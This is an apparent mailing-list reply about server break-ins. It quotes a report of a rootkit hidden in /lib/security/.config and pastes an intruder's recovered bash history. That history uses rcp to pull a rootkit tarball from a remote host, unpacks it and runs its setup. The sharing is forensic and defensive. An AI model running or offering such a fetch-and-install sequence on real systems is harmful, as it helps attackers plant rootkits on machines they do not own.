Re: [cobalt-users] Recent Hacks

["fastmedia" <inc@xxxxxxxxxxxxx>]

> The following directory was added and contains the rootkit:
>
>   /lib/security/.config


i've also found this:

[root@www /root]# cat /.bash_history
id;mkdir /tmp/.new;cd /tmp/.new;rcp adm@xxxxxxxxxxxxx:/var/adm/rh6kit.tar.gz
./;
gzip -d rh6kit.tar.gz;
tar -xvf rh6kit.tar;./setup;id;